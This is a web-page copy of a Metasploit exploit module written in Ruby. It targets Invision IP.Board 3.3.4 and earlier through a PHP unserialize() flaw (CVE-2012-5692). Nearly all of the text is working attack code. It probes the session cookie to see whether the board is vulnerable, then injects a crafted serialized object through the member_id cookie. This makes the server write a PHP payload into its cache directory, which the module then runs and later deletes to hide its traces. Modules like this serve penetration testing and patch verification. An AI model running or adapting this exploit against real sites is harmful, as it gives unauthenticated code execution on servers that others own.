CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::PhpEXE
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Invision IP.Board unserialize() PHP Code Execution',
17
'Description' => %q{
18
This module exploits a php unserialize() vulnerability in Invision IP.Board
19
<= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
20
code under the context of the webserver user.
21
22
The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
23
which is called with user controlled data from the cookie. The exploit abuses the
24
__destruct() method from the dbMain class to write arbitrary PHP code to a file on
25
the Invision IP.Board web directory.
26
27
The exploit has been tested successfully on Invision IP.Board 3.3.4.
28
},
29
'Author' => [
30
'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods
31
'juan vazquez', # Metasploit module
32
'sinn3r' # PhpEXE tekniq & check() method
33
],
34
'License' => MSF_LICENSE,
35
'References' => [
36
[ 'CVE', '2012-5692' ],
37
[ 'OSVDB', '86702' ],
38
[ 'BID', '56288' ],
39
[ 'EDB', '22398' ],
40
[ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
41
],
42
'Privileged' => false,
43
'Platform' => ['php'],
44
'Arch' => ARCH_PHP,
45
'Payload' => {
46
'Space' => 8000, # Apache's limit for GET
47
'DisableNops' => true
48
},
49
'Targets' => [ ['Invision IP.Board 3.3.4', {}] ],
50
'DefaultTarget' => 0,
51
'DisclosureDate' => '2012-10-25',
52
'Compat' => {
53
'Meterpreter' => {
54
'Commands' => %w[
55
stdapi_fs_delete_file
56
]
57
}
58
}
59
)
60
)
61
62
register_options(
63
[
64
OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
65
]
66
)
67
68
self.needs_cleanup = true
69
end
70
71
def base
72
base = target_uri.path
73
base << '/' if base[-1, 1] != '/'
74
return base
75
end
76
77
def cookie_prefix
78
print_status("Checking for cookie prefix")
79
cookie_prefix = ""
80
res = send_request_cgi(
81
{
82
'uri' => "#{base}index.php",
83
'method' => 'GET'
84
}
85
)
86
87
if res and res.code == 200 and res.get_cookies =~ /(.+)session/
88
print_status("Cookie prefix #{$1} found")
89
cookie_prefix = $1
90
end
91
return cookie_prefix
92
end
93
94
def check
95
check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')
96
res = send_request_cgi(
97
{
98
'uri' => "#{base}index.php",
99
'method' => 'GET',
100
'cookie' => "#{cookie_prefix}session_id=#{check_str}"
101
}
102
)
103
104
if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/
105
return Exploit::CheckCode::Vulnerable
106
elsif res and res.code == 200
107
return Exploit::CheckCode::Safe
108
else
109
return Exploit::CheckCode::Unknown
110
end
111
end
112
113
def on_new_session(client)
114
if client.type == "meterpreter"
115
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
116
begin
117
print_warning("Deleting #{@upload_php}")
118
client.fs.file.rm(@upload_php)
119
print_good("#{@upload_php} removed to stay ninja")
120
rescue
121
print_error("Unable to remove #{f}")
122
end
123
end
124
end
125
126
def exploit
127
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
128
129
# get_write_exec_payload uses a function, which limits our ability to support
130
# Linux payloads, because that requires a space:
131
# function my_cmd
132
# becomes:
133
# functionmy_cmd #Causes parsing error
134
# We'll have to address that in the mixin, and then come back to this module
135
# again later.
136
php_payload = get_write_exec_payload(:unlink_self => true)
137
php_payload = php_payload.gsub(/^\<\?php/, '<?')
138
php_payload = php_payload.gsub(/ /, '')
139
140
db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"
141
142
print_status("Exploiting the unserialize() to upload PHP code")
143
144
res = send_request_cgi(
145
{
146
'uri' => "#{base}index.php?#{php_payload}",
147
'method' => 'GET',
148
'cookie' => "#{cookie_prefix}member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
149
}
150
)
151
152
if not res or res.code != 200
153
print_error("Exploit failed: #{res.code}")
154
return
155
end
156
157
print_status("Executing the payload #{@upload_php}")
158
159
res = send_request_raw({ 'uri' => "#{base}cache/#{@upload_php}" })
160
161
if res
162
print_error("Payload execution failed: #{res.code}")
163
return
164
end
165
end
166
end
167
168